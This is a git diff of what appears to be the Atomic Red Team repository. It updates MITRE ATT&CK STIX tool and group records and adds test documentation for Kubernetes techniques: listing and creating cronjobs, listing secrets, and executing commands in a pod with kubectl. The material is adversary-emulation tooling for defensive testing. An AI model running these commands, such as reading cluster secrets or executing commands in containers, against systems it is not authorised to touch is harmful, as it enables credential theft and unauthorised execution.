basic Python dropper for Linux/macOS.(Citation: GitHub PoshC2)", "id": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", "type": "tool", "labels": [ "tool" ], - "modified": "2020-03-30T02:37:23.626Z", + "modified": "2021-02-09T13:59:23.129Z", "created": "2019-04-23T12:31:58.125Z", "x_mitre_version": "1.2", "x_mitre_aliases": [ @@ -259224,7 +304463,7 @@ "id": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "PowerSploit", - "description": "[PowerSploit](https://attack.mitre.org/software/S0194) is an open source, offensive security framework comprised of [PowerShell](https://attack.mitre.org/techniques/T1086) modules and scripts that perform a wide range of tasks related to penetration testing such as code execution, persistence, bypassing anti-virus, recon, and exfiltration. (Citation: GitHub PowerSploit May 2012) (Citation: PowerShellMagazine PowerSploit July 2014) (Citation: PowerSploit Documentation)", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194) is an open source, offensive security framework comprised of [PowerShell](https://attack.mitre.org/techniques/T1059/001) modules and scripts that perform a wide range of tasks related to penetration testing such as code execution, persistence, bypassing anti-virus, recon, and exfiltration. (Citation: GitHub PowerSploit May 2012) (Citation: PowerShellMagazine PowerSploit July 2014) (Citation: PowerSploit Documentation)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -259254,7 +304493,7 @@ "labels": [ "tool" ], - "modified": "2020-03-28T21:37:30.172Z", + "modified": "2021-02-09T14:00:16.093Z", "created": "2018-04-18T17:59:24.739Z", "x_mitre_platforms": [ "Windows" @@ -259262,7 +304501,7 @@ "x_mitre_aliases": [ "PowerSploit" ], - "x_mitre_version": "1.2" + "x_mitre_version": "1.3" }, { "id": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", @@ -259520,6 +304759,40 @@ "Windows" ] }, + { + "created": "2021-03-18T14:57:34.628Z", + "modified": "2021-04-25T23:30:38.375Z", + "labels": [ + "tool" + ], + "type": "tool", + "id": "tool--03c6e0ea-96d3-4b23-9afb-05055663cf4b", + "description": "[RemoteUtilities](https://attack.mitre.org/software/S0592) is a legitimate remote administration tool that has been used by [MuddyWater](https://attack.mitre.org/groups/G0069) since at least 2021 for execution on target machines.(Citation: Trend Micro Muddy Water March 2021)", + "name": "RemoteUtilities", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "external_id": "S0592", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0592" + }, + { + "source_name": "Trend Micro Muddy Water March 2021", + "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html", + "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_aliases": [ + "RemoteUtilities" + ], + "x_mitre_version": "1.0" + }, { "id": "tool--a1dd2dbd-1550-44bf-abcc-1a4c52e97719", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -260200,21 +305473,21 @@ "external_id": "S0175" } ], - "x_mitre_version": "1.0", - "x_mitre_aliases": [ - "meek" + "type": "tool", + "labels": [ + "tool" ], + "modified": "2021-02-09T23:00:38.683Z", + "created": "2018-01-16T16:13:52.465Z", "x_mitre_platforms": [ "Linux", "Windows", "macOS" ], - "type": "tool", - "labels": [ - "tool" + "x_mitre_aliases": [ + "meek" ], - "modified": "2018-10-17T00:14:20.652Z", - "created": "2018-01-16T16:13:52.465Z" + "x_mitre_version": "1.0" }, { "id": "tool--b35068ec-107a-4266-bda8-eb7036267aea", @@ -260450,14 +305723,14 @@ { "source_name": "NCC Group APT15 Alive and Strong", "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" } ], "type": "tool", "labels": [ "tool" ], - "modified": "2020-03-30T18:40:56.558Z", + "modified": "2021-03-29T19:54:46.007Z", "created": "2018-04-18T17:59:24.739Z", "x_mitre_platforms": [ "Windows" @@ -260468,13 +305741,21 @@ "x_mitre_version": "1.1" }, { - "id": "tool--9a2640c2-9f43-46fe-b13f-bde881e55555", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "sqlmap", - "description": "[sqlmap](https://attack.mitre.org/software/S0225) is an open source penetration testing tool that can be used to automate the process of detecting and exploiting SQL injection flaws. (Citation: sqlmap Introduction)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + "created": "2018-04-18T17:59:24.739Z", + "modified": "2018-10-17T00:14:20.652Z", + "labels": [ + "tool" ], + "type": "tool", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_aliases": [ + "sqlmap" + ], + "x_mitre_version": "1.0", "external_references": [ { "source_name": "mitre-attack", @@ -260487,21 +305768,13 @@ "url": "http://sqlmap.org/" } ], - "x_mitre_version": "1.0", - "x_mitre_aliases": [ - "sqlmap" + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "x_mitre_platforms": [ - "Linux", - "Windows", - "macOS" - ], - "type": "tool", - "labels": [ - "tool" - ], - "modified": "2018-10-17T00:14:20.652Z", - "created": "2018-04-18T17:59:24.739Z" + "description": "[sqlmap](https://attack.mitre.org/software/S0225) is an open source penetration testing tool that can be used to automate the process of detecting and exploiting SQL injection flaws. (Citation: sqlmap Introduction)", + "name": "sqlmap", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "tool--9a2640c2-9f43-46fe-b13f-bde881e55555" }, { "id": "tool--4fa49fc0-9162-4bdb-a37e-7aa3dcb6d38b", @@ -260761,7 +306034,7 @@ "id": "x-mitre-tactic--5e29b093-294e-49e9-a803-dab3d73b77dd", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Privilege Escalation", - "description": "The adversary is trying to gain higher-level permissions.\n\nPrivilege Escalation consists of techniques that adversaries use to gain higher-level permissions on a system or network. Adversaries can often enter and explore a network with unprivileged access but require elevated permissions to follow through on their objectives. Common approaches are to take advantage of system weaknesses, misconfigurations, and vulnerabilities. Examples of elevated access include: \n\u2022\tSYSTEM/root level\n\u2022\tlocal administrator\n\u2022\tuser account with admin-like access \n\u2022\tuser accounts with access to specific system or perform specific function\nThese techniques often overlap with Persistence techniques, as OS features that let an adversary persist can execute in an elevated context. ", + "description": "The adversary is trying to gain higher-level permissions.\n\nPrivilege Escalation consists of techniques that adversaries use to gain higher-level permissions on a system or network. Adversaries can often enter and explore a network with unprivileged access but require elevated permissions to follow through on their objectives. Common approaches are to take advantage of system weaknesses, misconfigurations, and vulnerabilities. Examples of elevated access include: \n\n* SYSTEM/root level\n* local administrator\n* user account with admin-like access \n* user accounts with access to specific system or perform specific function\n\nThese techniques often overlap with Persistence techniques, as OS features that let an adversary persist can execute in an elevated context. ", "external_references": [ { "external_id": "TA0004", @@ -260774,7 +306047,7 @@ ], "x_mitre_shortname": "privilege-escalation", "type": "x-mitre-tactic", - "modified": "2019-07-19T17:43:00.594Z", + "modified": "2021-01-06T14:21:21.641Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -260849,811 +306122,9 @@ "x-mitre-tactic--9a4e74ab-5008-408c-84bf-a10dfbc53462", "x-mitre-tactic--5569339b-94c2-49ee-afb3-2222936582c8" ], - "modified": "2020-10-27T02:27:31.332Z", + "modified": "2021-04-29T21:00:19.254Z", "created": "2018-10-17T00:14:20.652Z" }, - { - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020", - "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020.", - "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a" - }, - { - "source_name": "DFIR Ryuk 2 Hour Speed Run November 2020", - "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020.", - "url": "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/" - } - ], - "id": "relationship--f9d9b5aa-f4d6-46fc-8831-21ca405ab8e5", - "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", - "type": "relationship", - "created": "2020-11-10T15:39:49.352Z", - "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has injected malicious DLLs into memory with read, write, and execute permissions.(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", - "relationship_type": "uses", - "modified": "2020-11-10T15:46:09.219Z" - }, - { - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "source_name": "FireEye KEGTAP SINGLEMALT October 2020", - "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.", - "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html" - } - ], - "id": "relationship--a1e10048-626c-4e64-9bdb-fd576be8c19f", - "target_ref": "attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24", - "type": "relationship", - "created": "2020-11-10T15:39:49.368Z", - "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has gained access to credentials via exported copies of the ntds.dit Active Directory database.(Citation: FireEye KEGTAP SINGLEMALT October 2020)", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", - "relationship_type": "uses", - "modified": "2020-11-10T15:39:49.368Z" - }, - { - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020", - "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020.", - "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a" - } - ], - "id": "relationship--b9dcab92-6b0d-43c7-a122-90eccb016b9d", - "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", - "type": "relationship", - "created": "2020-11-10T15:39:49.375Z", - "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has lured victims into clicking a malicious link delivered through spearphishing.(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", - "relationship_type": "uses", - "modified": "2020-11-10T15:39:49.375Z" - }, - { - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020", - "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020.", - "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a" - }, - { - "source_name": "DFIR Ryuk 2 Hour Speed Run November 2020", - "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020.", - "url": "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/" - } - ], - "id": "relationship--d87925c8-23ed-4913-81d6-c4d93d65c798", - "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", - "type": "relationship", - "created": "2020-11-10T15:39:49.385Z", - "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has sent phishing emails containing a link to an actor-controlled Google Drive document or other free online file hosting services.(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", - "relationship_type": "uses", - "modified": "2020-11-10T15:46:09.451Z" - }, - { - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "source_name": "DFIR Ryuk's Return October 2020", - "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020.", - "url": "https://thedfirreport.com/2020/10/08/ryuks-return/" - }, - { - "source_name": "FireEye KEGTAP SINGLEMALT October 2020", - "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.", - "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html" - }, - { - "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020", - "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020.", - "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a" - }, - { - "source_name": "DFIR Ryuk 2 Hour Speed Run November 2020", - "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020.", - "url": "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/" - } - ], - "id": "relationship--72b30ddb-137c-4799-bacd-ab17aa2d01fc", - "target_ref": "attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee", - "type": "relationship", - "created": "2020-11-10T16:04:00.641Z", - "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used Rubeus, MimiKatz Kerberos module, and the Invoke-Kerberoast cmdlet to steal AES hashes.(Citation: DFIR Ryuk's Return October 2020)(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", - "relationship_type": "uses", - "modified": "2020-11-10T16:04:00.641Z" - }, - { - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020", - "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. 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(2020, October 14). They\u2019re back: inside a new Ryuk ransomware attack. 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Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.", - "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html" - }, - { - "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020", - "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020.", - "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a" - }, - { - "source_name": "DFIR Ryuk's Return October 2020", - "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020.", - "url": "https://thedfirreport.com/2020/10/08/ryuks-return/" - }, - { - "source_name": "DFIR Ryuk 2 Hour Speed Run November 2020", - "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020.", - "url": "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/" - }, - { - "source_name": "DFIR Ryuk in 5 Hours October 2020", - "description": "The DFIR Report. (2020, October 18). Ryuk in 5 Hours. Retrieved October 19, 2020.", - "url": "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/" - }, - { - "source_name": "Sophos New Ryuk Attack October 2020", - "description": "Sean Gallagher, Peter Mackenzie, Elida Leite, Syed Shahram, Bill Kearney, Anand Aijan, Sivagnanam Gn, Suraj Mundalik. (2020, October 14). They\u2019re back: inside a new Ryuk ransomware attack. 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MITRE ATT&CK and ATT&CK are registered trademarks of The MITRE Corporation." + "statement": "Copyright 2015-2021, The MITRE Corporation. MITRE ATT&CK and ATT&CK are registered trademarks of The MITRE Corporation." } } ] diff --git a/atomics/T1053.007/T1053.007.md b/atomics/T1053.007/T1053.007.md new file mode 100644 index 00000000..b571a9a7 --- /dev/null +++ b/atomics/T1053.007/T1053.007.md @@ -0,0 +1,75 @@ +# T1053.007 - Container Orchestration Job +## [Description from ATT&CK](https://attack.mitre.org/techniques/T1053/007) +
Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster. + +In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in the cluster.(Citation: Threat Matrix for Kubernetes)
+ +## Atomic Tests + +- [Atomic Test #1 - ListCronjobs](#atomic-test-1---listcronjobs) + +- [Atomic Test #2 - CreateCronjob](#atomic-test-2---createcronjob) + + +
+ +## Atomic Test #1 - ListCronjobs +Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. Attackers may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster. + +**Supported Platforms:** Linux, macOS + + + + +#### Inputs: +| Name | Description | Type | Default Value | +|------|-------------|------|---------------| +| namespace | K8s namespace to list | String | default| + + +#### Attack Commands: Run with `bash`! + + +```bash +kubectl get cronjobs -n #{namespace} +``` + + + + + + +
+
+ +## Atomic Test #2 - CreateCronjob +Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. Attackers may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster. + +**Supported Platforms:** Linux, macOS + + + + +#### Inputs: +| Name | Description | Type | Default Value | +|------|-------------|------|---------------| +| namespace | K8s namespace to list | String | default| + + +#### Attack Commands: Run with `bash`! + + +```bash +kubectl create -f src/cronjob.yaml -n #{namespace} +``` + +#### Cleanup Commands: +```bash +kubectl delete cronjob art -n #{namespace} +``` + + + + + +
diff --git a/atomics/T1053.007/T1053.007.yaml b/atomics/T1053.007/T1053.007.yaml index 6f46d17f..2efc3047 100644 --- a/atomics/T1053.007/T1053.007.yaml +++ b/atomics/T1053.007/T1053.007.yaml @@ -1,4 +1,4 @@ -attack_technique: T8062 +attack_technique: T1053.007 display_name: Kubernetes Cronjob atomic_tests: - name: ListCronjobs diff --git a/atomics/T1552.007/T1552.007.md b/atomics/T1552.007/T1552.007.md new file mode 100644 index 00000000..dfe684bb --- /dev/null +++ b/atomics/T1552.007/T1552.007.md @@ -0,0 +1,40 @@ +# T1552.007 - Container API +## [Description from ATT&CK](https://attack.mitre.org/techniques/T1552/007) +
Adversaries may gather credentials via APIs within a containers environment. APIs in these environments, such as the Docker API and Kubernetes APIs, allow a user to remotely manage their container resources and cluster components.(Citation: Docker API)(Citation: Kubernetes API) + +An adversary may access the Docker API to collect logs that contain credentials to cloud, container, and various other resources in the environment.(Citation: Unit 42 Unsecured Docker Daemons) An adversary with sufficient permissions, such as via a pod's service account, may also use the Kubernetes API to retrieve credentials from the Kubernetes API server. These credentials may include those needed for Docker API authentication or secrets from Kubernetes cluster components.
+ +## Atomic Tests + +- [Atomic Test #1 - ListSecrets](#atomic-test-1---listsecrets) + + +
+ +## Atomic Test #1 - ListSecrets +A Kubernetes secret is an object that lets users store and manage sensitive information, such as passwords and connection strings in the cluster. Secrets can be consumed by reference in the pod configuration. Attackers who have permissions to retrieve the secrets from the API server (by using the pod service account, for example) can access sensitive information that might include credentials to various services. + +**Supported Platforms:** macOS, Linux + + + + +#### Inputs: +| Name | Description | Type | Default Value | +|------|-------------|------|---------------| +| namespace | K8s namespace to list | String | default| + + +#### Attack Commands: Run with `bash`! + + +```bash +kubectl get secrets -n #{namespace} +``` + + + + + + +
diff --git a/atomics/T1609/T1609.md b/atomics/T1609/T1609.md new file mode 100644 index 00000000..801cec20 --- /dev/null +++ b/atomics/T1609/T1609.md @@ -0,0 +1,46 @@ +# T1609 - Container Administration Command +## [Description from ATT&CK](https://attack.mitre.org/techniques/T1609) +
Adversaries may abuse a container administration service to execute commands within a container. A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment.(Citation: Docker Daemon CLI)(Citation: Kubernetes API)(Citation: Kubernetes Kubelet) + +In Docker, adversaries may specify an entrypoint during container deployment that executes a script or command, or they may use a command such as docker exec to execute a command within a running container.(Citation: Docker Entrypoint)(Citation: Docker Exec) In Kubernetes, if an adversary has sufficient permissions, they may gain remote execution in a container in the cluster via interaction with the Kubernetes API server, the kubelet, or by running a command such as kubectl exec.(Citation: Kubectl Exec Get Shell)
+ +## Atomic Tests + +- [Atomic Test #1 - ExecIntoContainer](#atomic-test-1---execintocontainer) + + +
+ +## Atomic Test #1 - ExecIntoContainer +Attackers who have permissions, can run malicious commands in containers in the cluster using exec command (“kubectl exec”). In this method, attackers can use legitimate images, such as an OS image (e.g., Ubuntu) as a backdoor container, and run their malicious code remotely by using “kubectl exec”. + +**Supported Platforms:** Linux, macOS + + + + +#### Inputs: +| Name | Description | Type | Default Value | +|------|-------------|------|---------------| +| namespace | K8s namespace to use | String | default| +| command | Command to run | String | uname| + + +#### Attack Commands: Run with `bash`! + + +```bash +kubectl create -f src/busybox.yaml -n #{namespace} +kubectl exec -n #{namespace} busybox -- #{command} +``` + +#### Cleanup Commands: +```bash +kubectl delete pod busybox -n #{namespace} +``` + + + + + +